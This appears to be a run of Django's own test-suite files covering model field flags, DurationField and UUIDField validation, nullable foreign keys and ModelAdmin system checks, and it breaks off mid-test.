    def test_invalid_string(self):
        field = models.DurationField()
        with self.assertRaises(exceptions.ValidationError) as cm:
            field.clean('not a datetime', None)
        self.assertEqual(cm.exception.code, 'invalid')
        self.assertEqual(
            cm.exception.message % cm.exception.params,
            "'not a datetime' value has an invalid format. "
            "It must be in [DD] [HH:[MM:]]ss[.uuuuuu] format."
        )


class TestFormField(SimpleTestCase):
    # Tests for forms.DurationField are in the forms_tests app.

    def test_formfield(self):
        field = models.DurationField()
        self.assertIsInstance(field.formfield(), forms.DurationField)






from django import test
from django.contrib.contenttypes.fields import (
    GenericForeignKey, GenericRelation,
)
from django.db import models
from django.db.models.fields.related import (
    ForeignKey, ForeignObject, ForeignObjectRel, ManyToManyField, ManyToOneRel,
    OneToOneField,
)

from .models import AllFieldsModel

NON_CONCRETE_FIELDS = (
    ForeignObject,
    GenericForeignKey,
    GenericRelation,
)

NON_EDITABLE_FIELDS = (
    models.BinaryField,
    GenericForeignKey,
    GenericRelation,
)

RELATION_FIELDS = (
    ForeignKey,
    ForeignObject,
    ManyToManyField,
    OneToOneField,
    GenericForeignKey,
    GenericRelation,
)

MANY_TO_MANY_CLASSES = {
    ManyToManyField,
}

MANY_TO_ONE_CLASSES = {
    ForeignObject,
    ForeignKey,
    GenericForeignKey,
}

ONE_TO_MANY_CLASSES = {
    ForeignObjectRel,
    ManyToOneRel,
    GenericRelation,
}

ONE_TO_ONE_CLASSES = {
    OneToOneField,
}

FLAG_PROPERTIES = (
    'concrete',
    'editable',
    'is_relation',
    'model',
    'hidden',
    'one_to_many',
    'many_to_one',
    'many_to_many',
    'one_to_one',
    'related_model',
)

FLAG_PROPERTIES_FOR_RELATIONS = (
    'one_to_many',
    'many_to_one',
    'many_to_many',
    'one_to_one',
)


class FieldFlagsTests(test.SimpleTestCase):
    @classmethod
    def setUpClass(cls):
        super(FieldFlagsTests, cls).setUpClass()
        cls.fields = (
            list(AllFieldsModel._meta.fields) +
            list(AllFieldsModel._meta.private_fields)
        )

        cls.all_fields = (
            cls.fields +
            list(AllFieldsModel._meta.many_to_many) +
            list(AllFieldsModel._meta.private_fields)
        )

        cls.fields_and_reverse_objects = (
            cls.all_fields +
            list(AllFieldsModel._meta.related_objects)
        )

    def test_each_field_should_have_a_concrete_attribute(self):
        self.assertTrue(all(f.concrete.__class__ == bool for f in self.fields))

    def test_each_field_should_have_an_editable_attribute(self):
        self.assertTrue(all(f.editable.__class__ == bool for f in self.all_fields))

    def test_each_field_should_have_a_has_rel_attribute(self):
        self.assertTrue(all(f.is_relation.__class__ == bool for f in self.all_fields))

    def test_each_object_should_have_auto_created(self):
        self.assertTrue(
            all(f.auto_created.__class__ == bool for f in self.fields_and_reverse_objects)
        )

    def test_non_concrete_fields(self):
        for field in self.fields:
            if type(field) in NON_CONCRETE_FIELDS:
                self.assertFalse(field.concrete)
            else:
                self.assertTrue(field.concrete)

    def test_non_editable_fields(self):
        for field in self.all_fields:
            if type(field) in NON_EDITABLE_FIELDS:
                self.assertFalse(field.editable)
            else:
                self.assertTrue(field.editable)

    def test_related_fields(self):
        for field in self.all_fields:
            if type(field) in RELATION_FIELDS:
                self.assertTrue(field.is_relation)
            else:
                self.assertFalse(field.is_relation)

    def test_field_names_should_always_be_available(self):
        for field in self.fields_and_reverse_objects:
            self.assertTrue(field.name)

    def test_all_field_types_should_have_flags(self):
        for field in self.fields_and_reverse_objects:
            for flag in FLAG_PROPERTIES:
                self.assertTrue(hasattr(field, flag), "Field %s does not have flag %s" % (field, flag))
            if field.is_relation:
                true_cardinality_flags = sum(
                    getattr(field, flag) is True
                    for flag in FLAG_PROPERTIES_FOR_RELATIONS
                )
                # If the field has a relation, there should be only one of the
                # 4 cardinality flags available.
                self.assertEqual(1, true_cardinality_flags)

    def test_cardinality_m2m(self):
        m2m_type_fields = [
            f for f in self.all_fields
            if f.is_relation and f.many_to_many
        ]
        # Test classes are what we expect
        self.assertEqual(MANY_TO_MANY_CLASSES, {f.__class__ for f in m2m_type_fields})

        # Ensure all m2m reverses are m2m
        for field in m2m_type_fields:
            reverse_field = field.remote_field
            self.assertTrue(reverse_field.is_relation)
            self.assertTrue(reverse_field.many_to_many)
            self.assertTrue(reverse_field.related_model)

    def test_cardinality_o2m(self):
        o2m_type_fields = [
            f for f in self.fields_and_reverse_objects
            if f.is_relation and f.one_to_many
        ]
        # Test classes are what we expect
        self.assertEqual(ONE_TO_MANY_CLASSES, {f.__class__ for f in o2m_type_fields})

        # Ensure all o2m reverses are m2o
        for field in o2m_type_fields:
            if field.concrete:
                reverse_field = field.remote_field
                self.assertTrue(reverse_field.is_relation and reverse_field.many_to_one)

    def test_cardinality_m2o(self):
        m2o_type_fields = [
            f for f in self.fields_and_reverse_objects
            if f.is_relation and f.many_to_one
        ]
        # Test classes are what we expect
        self.assertEqual(MANY_TO_ONE_CLASSES, {f.__class__ for f in m2o_type_fields})

        # Ensure all m2o reverses are o2m
        for obj in m2o_type_fields:
            if hasattr(obj, 'field'):
                reverse_field = obj.field
                self.assertTrue(reverse_field.is_relation and reverse_field.one_to_many)

    def test_cardinality_o2o(self):
        o2o_type_fields = [
            f for f in self.all_fields
            if f.is_relation and f.one_to_one
        ]
        # Test classes are what we expect
        self.assertEqual(ONE_TO_ONE_CLASSES, {f.__class__ for f in o2o_type_fields})

        # Ensure all o2o reverses are o2o
        for obj in o2o_type_fields:
            if hasattr(obj, 'field'):
                reverse_field = obj.field
                self.assertTrue(reverse_field.is_relation and reverse_field.one_to_one)

    def test_hidden_flag(self):
        incl_hidden = set(AllFieldsModel._meta.get_fields(include_hidden=True))
        no_hidden = set(AllFieldsModel._meta.get_fields())
        fields_that_should_be_hidden = (incl_hidden - no_hidden)
        for f in incl_hidden:
            self.assertEqual(f in fields_that_should_be_hidden, f.hidden)

    def test_model_and_reverse_model_should_equal_on_relations(self):
        for field in AllFieldsModel._meta.get_fields():
            is_concrete_forward_field = field.concrete and field.related_model
            if is_concrete_forward_field:
                reverse_field = field.remote_field
                self.assertEqual(field.model, reverse_field.related_model)
                self.assertEqual(field.related_model, reverse_field.model)

    def test_null(self):
        # null isn't well defined for a ManyToManyField, but changing it to
        # True causes backwards compatibility problems (#25320).
        self.assertFalse(AllFieldsModel._meta.get_field('m2m').null)
        self.assertTrue(AllFieldsModel._meta.get_field('reverse2').null)






import json
import uuid

from django.core import exceptions, serializers
from django.db import IntegrityError, models
from django.test import (
    SimpleTestCase, TestCase, TransactionTestCase, skipUnlessDBFeature,
)

from .models import (
    NullableUUIDModel, PrimaryKeyUUIDModel, RelatedToUUIDModel, UUIDGrandchild,
    UUIDModel,
)


class TestSaveLoad(TestCase):
    def test_uuid_instance(self):
        instance = UUIDModel.objects.create(field=uuid.uuid4())
        loaded = UUIDModel.objects.get()
        self.assertEqual(loaded.field, instance.field)

    def test_str_instance_no_hyphens(self):
        UUIDModel.objects.create(field='550e8400e29b41d4a716446655440000')
        loaded = UUIDModel.objects.get()
        self.assertEqual(loaded.field, uuid.UUID('550e8400e29b41d4a716446655440000'))

    def test_str_instance_hyphens(self):
        UUIDModel.objects.create(field='550e8400-e29b-41d4-a716-446655440000')
        loaded = UUIDModel.objects.get()
        self.assertEqual(loaded.field, uuid.UUID('550e8400e29b41d4a716446655440000'))

    def test_str_instance_bad_hyphens(self):
        UUIDModel.objects.create(field='550e84-00-e29b-41d4-a716-4-466-55440000')
        loaded = UUIDModel.objects.get()
        self.assertEqual(loaded.field, uuid.UUID('550e8400e29b41d4a716446655440000'))

    def test_null_handling(self):
        NullableUUIDModel.objects.create(field=None)
        loaded = NullableUUIDModel.objects.get()
        self.assertIsNone(loaded.field)

    def test_pk_validated(self):
        with self.assertRaisesMessage(TypeError, 'is not a valid UUID'):
            PrimaryKeyUUIDModel.objects.get(pk={})

        with self.assertRaisesMessage(TypeError, 'is not a valid UUID'):
            PrimaryKeyUUIDModel.objects.get(pk=[])

    def test_wrong_value(self):
        with self.assertRaisesMessage(ValueError, 'badly formed hexadecimal UUID string'):
            UUIDModel.objects.get(field='not-a-uuid')

        with self.assertRaisesMessage(ValueError, 'badly formed hexadecimal UUID string'):
            UUIDModel.objects.create(field='not-a-uuid')


class TestMigrations(SimpleTestCase):

    def test_deconstruct(self):
        field = models.UUIDField()
        name, path, args, kwargs = field.deconstruct()
        self.assertEqual(kwargs, {})


class TestQuerying(TestCase):
    def setUp(self):
        self.objs = [
            NullableUUIDModel.objects.create(field=uuid.uuid4()),
            NullableUUIDModel.objects.create(field='550e8400e29b41d4a716446655440000'),
            NullableUUIDModel.objects.create(field=None),
        ]

    def test_exact(self):
        self.assertSequenceEqual(
            NullableUUIDModel.objects.filter(field__exact='550e8400e29b41d4a716446655440000'),
            [self.objs[1]]
        )

    def test_isnull(self):
        self.assertSequenceEqual(
            NullableUUIDModel.objects.filter(field__isnull=True),
            [self.objs[2]]
        )


class TestSerialization(SimpleTestCase):
    test_data = (
        '[{"fields": {"field": "550e8400-e29b-41d4-a716-446655440000"}, '
        '"model": "model_fields.uuidmodel", "pk": null}]'
    )

    def test_dumping(self):
        instance = UUIDModel(field=uuid.UUID('550e8400e29b41d4a716446655440000'))
        data = serializers.serialize('json', [instance])
        self.assertEqual(json.loads(data), json.loads(self.test_data))

    def test_loading(self):
        instance = list(serializers.deserialize('json', self.test_data))[0].object
        self.assertEqual(instance.field, uuid.UUID('550e8400-e29b-41d4-a716-446655440000'))


class TestValidation(SimpleTestCase):
    def test_invalid_uuid(self):
        field = models.UUIDField()
        with self.assertRaises(exceptions.ValidationError) as cm:
            field.clean('550e8400', None)
        self.assertEqual(cm.exception.code, 'invalid')
        self.assertEqual(cm.exception.message % cm.exception.params, "'550e8400' is not a valid UUID.")

    def test_uuid_instance_ok(self):
        field = models.UUIDField()
        field.clean(uuid.uuid4(), None)  # no error


class TestAsPrimaryKey(TestCase):
    def test_creation(self):
        PrimaryKeyUUIDModel.objects.create()
        loaded = PrimaryKeyUUIDModel.objects.get()
        self.assertIsInstance(loaded.pk, uuid.UUID)

    def test_uuid_pk_on_save(self):
        saved = PrimaryKeyUUIDModel.objects.create(id=None)
        loaded = PrimaryKeyUUIDModel.objects.get()
        self.assertIsNotNone(loaded.id, None)
        self.assertEqual(loaded.id, saved.id)

    def test_uuid_pk_on_bulk_create(self):
        u1 = PrimaryKeyUUIDModel()
        u2 = PrimaryKeyUUIDModel(id=None)
        PrimaryKeyUUIDModel.objects.bulk_create([u1, u2])
        # Check that the two objects were correctly created.
        u1_found = PrimaryKeyUUIDModel.objects.filter(id=u1.id).exists()
        u2_found = PrimaryKeyUUIDModel.objects.exclude(id=u1.id).exists()
        self.assertTrue(u1_found)
        self.assertTrue(u2_found)
        self.assertEqual(PrimaryKeyUUIDModel.objects.count(), 2)

    def test_underlying_field(self):
        pk_model = PrimaryKeyUUIDModel.objects.create()
        RelatedToUUIDModel.objects.create(uuid_fk=pk_model)
        related = RelatedToUUIDModel.objects.get()
        self.assertEqual(related.uuid_fk.pk, related.uuid_fk_id)

    def test_update_with_related_model_instance(self):
        # regression for #24611
        u1 = PrimaryKeyUUIDModel.objects.create()
        u2 = PrimaryKeyUUIDModel.objects.create()
        r = RelatedToUUIDModel.objects.create(uuid_fk=u1)
        RelatedToUUIDModel.objects.update(uuid_fk=u2)
        r.refresh_from_db()
        self.assertEqual(r.uuid_fk, u2)

    def test_update_with_related_model_id(self):
        u1 = PrimaryKeyUUIDModel.objects.create()
        u2 = PrimaryKeyUUIDModel.objects.create()
        r = RelatedToUUIDModel.objects.create(uuid_fk=u1)
        RelatedToUUIDModel.objects.update(uuid_fk=u2.pk)
        r.refresh_from_db()
        self.assertEqual(r.uuid_fk, u2)

    def test_two_level_foreign_keys(self):
        # exercises ForeignKey.get_db_prep_value()
        UUIDGrandchild().save()


class TestAsPrimaryKeyTransactionTests(TransactionTestCase):
    # Need a TransactionTestCase to avoid deferring FK constraint checking.
    available_apps = ['model_fields']

    @skipUnlessDBFeature('supports_foreign_keys')
    def test_unsaved_fk(self):
        u1 = PrimaryKeyUUIDModel()
        with self.assertRaises(IntegrityError):
            RelatedToUUIDModel.objects.create(uuid_fk=u1)






"""
Regression tests for proper working of ForeignKey(null=True).
"""

from django.db import models
from django.utils.encoding import python_2_unicode_compatible


class SystemDetails(models.Model):
    details = models.TextField()


class SystemInfo(models.Model):
    system_details = models.ForeignKey(SystemDetails, models.CASCADE)
    system_name = models.CharField(max_length=32)


class Forum(models.Model):
    system_info = models.ForeignKey(SystemInfo, models.CASCADE)
    forum_name = models.CharField(max_length=32)


@python_2_unicode_compatible
class Post(models.Model):
    forum = models.ForeignKey(Forum, models.SET_NULL, null=True)
    title = models.CharField(max_length=32)

    def __str__(self):
        return self.title


@python_2_unicode_compatible
class Comment(models.Model):
    post = models.ForeignKey(Post, models.SET_NULL, null=True)
    comment_text = models.CharField(max_length=250)

    class Meta:
        ordering = ('comment_text',)

    def __str__(self):
        return self.comment_text

# Ticket 15823


class Item(models.Model):
    title = models.CharField(max_length=100)


class PropertyValue(models.Model):
    label = models.CharField(max_length=100)


class Property(models.Model):
    item = models.ForeignKey(Item, models.CASCADE, related_name='props')
    key = models.CharField(max_length=100)
    value = models.ForeignKey(PropertyValue, models.SET_NULL, null=True)












from __future__ import unicode_literals

from django.db.models import Q
from django.test import TestCase

from .models import (
    Comment, Forum, Item, Post, PropertyValue, SystemDetails, SystemInfo,
)


class NullFkTests(TestCase):

    def test_null_fk(self):
        d = SystemDetails.objects.create(details='First details')
        s = SystemInfo.objects.create(system_name='First forum', system_details=d)
        f = Forum.objects.create(system_info=s, forum_name='First forum')
        p = Post.objects.create(forum=f, title='First Post')
        c1 = Comment.objects.create(post=p, comment_text='My first comment')
        c2 = Comment.objects.create(comment_text='My second comment')

        # Starting from comment, make sure that a .select_related(...) with a specified
        # set of fields will properly LEFT JOIN multiple levels of NULLs (and the things
        # that come after the NULLs, or else data that should exist won't). Regression
        # test for #7369.
        c = Comment.objects.select_related().get(id=c1.id)
        self.assertEqual(c.post, p)
        self.assertIsNone(Comment.objects.select_related().get(id=c2.id).post)

        self.assertQuerysetEqual(
            Comment.objects.select_related('post__forum__system_info').all(),
            [
                (c1.id, 'My first comment', '<Post: First Post>'),
                (c2.id, 'My second comment', 'None')
            ],
            transform=lambda c: (c.id, c.comment_text, repr(c.post))
        )

        # Regression test for #7530, #7716.
        self.assertIsNone(Comment.objects.select_related('post').filter(post__isnull=True)[0].post)

        self.assertQuerysetEqual(
            Comment.objects.select_related('post__forum__system_info__system_details'),
            [
                (c1.id, 'My first comment', '<Post: First Post>'),
                (c2.id, 'My second comment', 'None')
            ],
            transform=lambda c: (c.id, c.comment_text, repr(c.post))
        )

    def test_combine_isnull(self):
        item = Item.objects.create(title='Some Item')
        pv = PropertyValue.objects.create(label='Some Value')
        item.props.create(key='a', value=pv)
        item.props.create(key='b')  # value=NULL
        q1 = Q(props__key='a', props__value=pv)
        q2 = Q(props__key='b', props__value__isnull=True)

        # Each of these individually should return the item.
        self.assertEqual(Item.objects.get(q1), item)
        self.assertEqual(Item.objects.get(q2), item)

        # Logically, qs1 and qs2, and qs3 and qs4 should be the same.
        qs1 = Item.objects.filter(q1) & Item.objects.filter(q2)
        qs2 = Item.objects.filter(q2) & Item.objects.filter(q1)
        qs3 = Item.objects.filter(q1) | Item.objects.filter(q2)
        qs4 = Item.objects.filter(q2) | Item.objects.filter(q1)

        # Regression test for #15823.
        self.assertEqual(list(qs1), list(qs2))
        self.assertEqual(list(qs3), list(qs4))






"""
Tests of ModelAdmin system checks logic.
"""

from django.contrib.contenttypes.fields import GenericForeignKey
from django.contrib.contenttypes.models import ContentType
from django.db import models
from django.utils.encoding import python_2_unicode_compatible


class Album(models.Model):
    title = models.CharField(max_length=150)


@python_2_unicode_compatible
class Song(models.Model):
    title = models.CharField(max_length=150)
    album = models.ForeignKey(Album, models.CASCADE)
    original_release = models.DateField(editable=False)

    class Meta:
        ordering = ('title',)

    def __str__(self):
        return self.title

    def readonly_method_on_model(self):
        # does nothing
        pass


class TwoAlbumFKAndAnE(models.Model):
    album1 = models.ForeignKey(Album, models.CASCADE, related_name="album1_set")
    album2 = models.ForeignKey(Album, models.CASCADE, related_name="album2_set")
    e = models.CharField(max_length=1)


class Author(models.Model):
    name = models.CharField(max_length=100)


class Book(models.Model):
    name = models.CharField(max_length=100)
    subtitle = models.CharField(max_length=100)
    price = models.FloatField()
    authors = models.ManyToManyField(Author, through='AuthorsBooks')


class AuthorsBooks(models.Model):
    author = models.ForeignKey(Author, models.CASCADE)
    book = models.ForeignKey(Book, models.CASCADE)
    featured = models.BooleanField()


class State(models.Model):
    name = models.CharField(max_length=15)


class City(models.Model):
    state = models.ForeignKey(State, models.CASCADE)


class Influence(models.Model):
    name = models.TextField()

    content_type = models.ForeignKey(ContentType, models.CASCADE)
    object_id = models.PositiveIntegerField()
    content_object = GenericForeignKey('content_type', 'object_id')












from __future__ import unicode_literals

from django import forms
from django.contrib import admin
from django.contrib.admin import AdminSite
from django.contrib.contenttypes.admin import GenericStackedInline
from django.core import checks
from django.test import SimpleTestCase, override_settings

from .models import Album, Book, City, Influence, Song, State, TwoAlbumFKAndAnE


class SongForm(forms.ModelForm):
    pass


class ValidFields(admin.ModelAdmin):
    form = SongForm
    fields = ['title']


class ValidFormFieldsets(admin.ModelAdmin):
    def get_form(self, request, obj=None, **kwargs):
        class ExtraFieldForm(SongForm):
            name = forms.CharField(max_length=50)
        return ExtraFieldForm

    fieldsets = (
        (None, {
            'fields': ('name',),
        }),
    )


class MyAdmin(admin.ModelAdmin):
    def check(self, **kwargs):
        return ['error!']


@override_settings(
    SILENCED_SYSTEM_CHECKS=['fields.W342'],  # ForeignKey(unique=True)
    INSTALLED_APPS=['django.contrib.auth', 'django.contrib.contenttypes', 'admin_checks']
)
class SystemChecksTestCase(SimpleTestCase):

    @override_settings(DEBUG=True)
    def test_checks_are_performed(self):
        admin.site.register(Song, MyAdmin)
        try:
            errors = checks.run_checks()
            expected = ['error!']
            self.assertEqual(errors, expected)
        finally:
            admin.site.unregister(Song)
            admin.sites.system_check_errors = []

    @override_settings(INSTALLED_APPS=['django.contrib.admin'])
    def test_contenttypes_dependency(self):
        errors = admin.checks.check_dependencies()
        expected = [
            checks.Error(
                "'django.contrib.contenttypes' must be in "
                "INSTALLED_APPS in order to use the admin application.",
                id="admin.E401",
            )
        ]
        self.assertEqual(errors, expected)

    @override_settings(
        INSTALLED_APPS=[
            'django.contrib.admin',
            'django.contrib.auth',
            'django.contrib.contenttypes',
        ],
        TEMPLATES=[{
            'BACKEND': 'django.template.backends.django.DjangoTemplates',
            'DIRS': [],
            'APP_DIRS': True,
            'OPTIONS': {
                'context_processors': [],
            },
        }],
    )
    def test_auth_contextprocessor_dependency(self):
        errors = admin.checks.check_dependencies()
        expected = [
            checks.Error(
                "'django.contrib.auth.context_processors.auth' must be in "
                "TEMPLATES in order to use the admin application.",
                id="admin.E402",
            )
        ]
        self.assertEqual(errors, expected)

    @override_settings(DEBUG=True)
    def test_custom_adminsite(self):
        class CustomAdminSite(admin.AdminSite):
            pass

        custom_site = CustomAdminSite()
        custom_site.register(Song, MyAdmin)
        try:
            errors = checks.run_checks()
            expected = ['error!']
            self.assertEqual(errors, expected)
        finally:
            custom_site.unregister(Song)
            admin.sites.system_check_errors = []

    def test_field_name_not_in_list_display(self):
        class SongAdmin(admin.ModelAdmin):
            list_editable = ["original_release"]

        errors = SongAdmin(Song, AdminSite()).check()
        expected = [
            checks.Error(
                "The value of 'list_editable[0]' refers to 'original_release', "
                "which is not contained in 'list_display'.",
                obj=SongAdmin,
                id='admin.E122',
            )
        ]
        self.assertEqual(errors, expected)

    def test_readonly_and_editable(self):
        class SongAdmin(admin.ModelAdmin):
            readonly_fields = ["original_release"]
            list_display = ["pk", "original_release"]
            list_editable = ["original_release"]
            fieldsets = [
                (None, {
                    "fields": ["title", "original_release"],
                }),
            ]
        errors = SongAdmin(Song, AdminSite()).check()
        expected = [
            checks.Error(
                "The value of 'list_editable[0]' refers to 'original_release', "
                "which is not editable through the admin.",
                obj=SongAdmin,
                id='admin.E125',
            )
        ]
        self.assertEqual(errors, expected)

    def test_editable(self):
        class SongAdmin(admin.ModelAdmin):
            list_display = ["pk", "title"]
            list_editable = ["title"]
            fieldsets = [
                (None, {
                    "fields": ["title", "original_release"],
                }),
            ]

        errors = SongAdmin(Song, AdminSite()).check()
        self.assertEqual(errors, [])

    def test_custom_modelforms_with_fields_fieldsets(self):
        """
        # Regression test for #8027: custom ModelForms with fields/fieldsets
        """
        errors = ValidFields(Song, AdminSite()).check()
        self.assertEqual(errors, [])

    def test_custom_get_form_with_fieldsets(self):
        """
        Ensure that the fieldsets checks are skipped when the ModelAdmin.get_form() method
        is overridden.
        Refs #19445.
        """
        errors = ValidFormFieldsets(Song, AdminSite()).check()
        self.assertEqual(errors, [])

    def test_fieldsets_fields_non_tuple(self):
        """
        Tests for a tuple/list for the first fieldset's fields.
        """
        class NotATupleAdmin(admin.ModelAdmin):
            list_display = ["pk", "title"]
            list_editable = ["title"]
            fieldsets = [
                (None, {
                    "fields": "title"  # not a tuple
                }),
            ]

        errors = NotATupleAdmin(Song, AdminSite()).check()
        expected = [
            checks.Error(
                "The value of 'fieldsets[0][1]['fields']' must be a list or tuple.",
                obj=NotATupleAdmin,
                id='admin.E008',
            )
        ]
        self.assertEqual(errors, expected)

    def test_nonfirst_fieldset(self):
        """
        Tests for a tuple/list for the second fieldset's fields.
        """
        class NotATupleAdmin(admin.ModelAdmin):
            fieldsets = [
                (None, {
                    "fields": ("title",)
                }),
                ('foo', {
                    "fields": "author"  # not a tuple
                }),
            ]

        errors = NotATupleAdmin(Song, AdminSite()).check()
        expected = [
            checks.Error(
                "The value of 'fieldsets[1][1]['fields']' must be a list or tuple.",
                obj=NotATupleAdmin,
                id='admin.E008',
            )
        ]
        self.assertEqual(errors, expected)

    def test_exclude_values(self):
        """
        Tests for basic system checks of 'exclude' option values (#12689)
        """
        class ExcludedFields1(admin.ModelAdmin):
            exclude = 'foo'

        errors = ExcludedFields1(Book, AdminSite()).check()
        expected = [
            checks.Error(
                "The value of 'exclude' must be a list or tuple.",
                obj=ExcludedFields1,
                id='admin.E014',
            )
        ]
        self.assertEqual(errors, expected)

    def test_exclude_duplicate_values(self):
        class ExcludedFields2(admin.ModelAdmin):
            exclude = ('name', 'name')

        errors = ExcludedFields2(Book, AdminSite()).check()
        expected = [
            checks.Error(
                "The value of 'exclude' contains duplicate field(s).",
                obj=ExcludedFields2,
                id='admin.E015',
            )
        ]
        self.assertEqual(errors, expected)

    def test_exclude_in_inline(self):
        class ExcludedFieldsInline(admin.TabularInline):
            model = Song
            exclude = 'foo'

        class ExcludedFieldsAlbumAdmin(admin.ModelAdmin):
            model = Album
            inlines = [ExcludedFieldsInline]

        errors = ExcludedFieldsAlbumAdmin(Album, AdminSite()).check()
        expected = [
            checks.Error(
                "The value of 'exclude' must be a list or tuple.",
                obj=ExcludedFieldsInline,
                id='admin.E014',
            )
        ]
        self.assertEqual(errors, expected)

    def test_exclude_inline_model_admin(self):
        """
        Regression test for #9932 - exclude in InlineModelAdmin should not
        contain the ForeignKey field used in ModelAdmin.model
        """
        class SongInline(admin.StackedInline):
            model = Song
            exclude = ['album']

        class AlbumAdmin(admin.ModelAdmin):
            model = Album
            inlines = [SongInline]

        errors = AlbumAdmin(Album, AdminSite()).check()
        expected = [
            checks.Error(
                "Cannot exclude the field 'album', because it is the foreign key "
                "to the parent model 'admin_checks.Album'.",
                obj=SongInline,
                id='admin.E201',
            )
        ]
        self.assertEqual(errors, expected)

    def test_valid_generic_inline_model_admin(self):
        """
        Regression test for #22034 - check that generic inlines don't look for
        normal ForeignKey relations.
        """
        class InfluenceInline(GenericStackedInline):
            model = Influence

        class SongAdmin(admin.ModelAdmin):
            inlines = [InfluenceInline]

        errors = SongAdmin(Song, AdminSite()).check()
        self.assertEqual(errors, [])

    def test_generic_inline_model_admin_non_generic_model(self):
        """
        Ensure that a model without a GenericForeignKey raises problems if it's included
        in an GenericInlineModelAdmin definition.
        """
        class BookInline(GenericStackedInline):
            model = Book

        class SongAdmin(admin.ModelAdmin):
            inlines = [BookInline]

        errors = SongAdmin(Song, AdminSite()).check()
        expected = [
            checks.Error(
                "'admin_checks.Book' has no GenericForeignKey.",
                obj=BookInline,
                id='admin.E301',
            )
        ]
        self.assertEqual(errors, expected)

    def test_generic_inline_model_admin_bad_ct_field(self):
        "A GenericInlineModelAdmin raises problems if the ct_field points to a non-existent field."
        class InfluenceInline(GenericStackedInline):
            model = Influence
            ct_field = 'nonexistent'

        class SongAdmin(admin.ModelAdmin):
            inlines = [InfluenceInline]

        errors = SongAdmin(Song, AdminSite()).check()
        expected = [
            checks.Error(
                "'ct_field' references 'nonexistent', which is not a field on 'admin_checks.Influence'.",
                obj=InfluenceInline,
                id='admin.E302',
            )
        ]
        self.assertEqual(errors, expected)

    def test_generic_inline_model_admin_bad_fk_field(self):
        "A GenericInlineModelAdmin raises problems if the ct_fk_field points to a non-existent field."
        class InfluenceInline(GenericStackedInline):
            model = Influence
            ct_fk_field = 'nonexistent'

        class SongAdmin(admin.ModelAdmin):
            inlines = [InfluenceInline]

        errors = SongAdmin(Song, AdminSite()).check()
        expected = [
            checks.Error(
                "'ct_fk_field' references 'nonexistent', which is not a field on 'admin_checks.Influence'.",
                obj=InfluenceInline,
                id='admin.E303',
            )
        ]
        self.assertEqual(errors, expected)

    def test_generic_inline_model_admin_non_gfk_ct_field(self):
        """
        A GenericInlineModelAdmin raises problems if the ct_field points to a
        field that isn't part of a GenericForeignKey.
        """
        class InfluenceInline(GenericStackedInline):
            model = Influence
            ct_field = 'name'

        class SongAdmin(admin.ModelAdmin):
            inlines = [InfluenceInline]

        errors = SongAdmin(Song, AdminSite()).check()
        expected = [
            checks.Error(
                "'admin_checks.Influence' has no GenericForeignKey using "
                "content type field 'name' and object ID field 'object_id'.",
                obj=InfluenceInline,
                id='admin.E304',
            )
        ]
        self.assertEqual(errors, expected)

    def test_generic_inline_model_admin_non_gfk_fk_field(self):
        """
        A GenericInlineModelAdmin raises problems if the ct_fk_field points to
        a field that isn't part of a GenericForeignKey.
        """
        class InfluenceInline(GenericStackedInline):
            model = Influence
            ct_fk_field = 'name'

        class SongAdmin(admin.ModelAdmin):
            inlines = [InfluenceInline]

        errors = SongAdmin(Song, AdminSite()).check()
        expected = [
            checks.Error(
                "'admin_checks.Influence' has no GenericForeignKey using "
                "content type field 'content_type' and object ID field 'name'.",
                obj=InfluenceInline,
                id='admin.E304',
            )
        ]
        self.assertEqual(errors, expected)

    def test_app_label_in_admin_checks(self):
        """
        Regression test for #15669 - Include app label in admin system check messages
        """
        class RawIdNonexistingAdmin(admin.ModelAdmin):
            raw_id_fields = ('nonexisting',)

        errors = RawIdNonexistingAdmin(Album, AdminSite()).check()
        expected = [
            checks.Error(
                "The value of 'raw_id_fields[0]' refers to 'nonexisting', "
                "which is not an attribute of 'admin_checks.Album'.",
                obj=RawIdNonexistingAdmin,
                id='admin.E002',
            )
        ]
        self.assertEqual(errors, expected)

    def test_fk_exclusion(self):
        """
        Regression test for #11709 - when testing for fk excluding (when exclude is
        given) make sure fk_name is honored or things blow up when there is more
        than one fk to the parent model.
        """
        class TwoAlbumFKAndAnEInline(admin.TabularInline):
            model = TwoAlbumFKAndAnE
            exclude = ("e",)
            fk_name = "album1"

        class MyAdmin(admin.ModelAdmin):
            inlines = [TwoAlbumFKAndAnEInline]

        errors = MyAdmin(Album, AdminSite()).check()
        self.assertEqual(errors, [])

    def test_inline_self_check(self):
        class TwoAlbumFKAndAnEInline(admin.TabularInline):
            model = TwoAlbumFKAndAnE

        class MyAdmin(admin.ModelAdmin):
            inlines = [TwoAlbumFKAndAnEInline]

        errors = MyAdmin(Album, AdminSite()).check()
        expected = [
            checks.Error(
                "'admin_checks.TwoAlbumFKAndAnE' has more than one ForeignKey to 'admin_checks.Album'.",
                obj=TwoAlbumFKAndAnEInline,
                id='admin.E202',
            )
        ]
        self.assertEqual(errors, expected)

    def test_inline_with_specified(self):
        class TwoAlbumFKAndAnEInline(admin.TabularInline):
            model = TwoAlbumFKAndAnE
            fk_name = "album1"

        class MyAdmin(admin.ModelAdmin):
            inlines = [TwoAlbumFKAndAnEInline]

        errors = MyAdmin(Album, AdminSite()).check()
        self.assertEqual(errors, [])

    def test_readonly(self):
        class SongAdmin(admin.ModelAdmin):
            readonly_fields = ("title",)

        errors = SongAdmin(Song, AdminSite()).check()
        self.assertEqual(errors, [])

    def test_readonly_on_method(self):
        def my_function(obj):
            pass

        class SongAdmin(admin.ModelAdmin):
            readonly_fields = (my_function,)

        errors = SongAdmin(Song, AdminSite()).check()
        self.assertEqual(errors, [])

    def test_readonly_on_modeladmin(self):
        class SongAdmin(admin.ModelAdmin):
            readonly_fields = ("readonly_method_on_modeladmin",)

            def readonly_method_on_modeladmin(self, obj):
                pass

        errors = SongAdmin(Song, AdminSite()).check()
        self.assertEqual(errors, [])

    def test_readonly_dynamic_attribute_on_modeladmin(self):
        class SongAdmin(admin.ModelAdmin):
            readonly_fields = ("dynamic_method",)

            def __getattr__(self, item):
                if item == "dynamic_method":
                    def method(obj):
                        pass
                    return method
                raise AttributeError

        errors = SongAdmin(Song, AdminSite()).check()
        self.assertEqual(errors, [])

    def test_readonly_method_on_model(self):
        class SongAdmin(admin.ModelAdmin):
            readonly_fields = ("readonly_method_on_model",)

        errors = SongAdmin(Song, AdminSite()).check()
        self.assertEqual(errors, [])

    def test_nonexistent_field(self):
        class SongAdmin(admin.ModelAdmin):
            readonly_fields = ("title", "nonexistent")

        errors = SongAdmin(Song, AdminSite()).check()
        expected = [
            checks.Error(
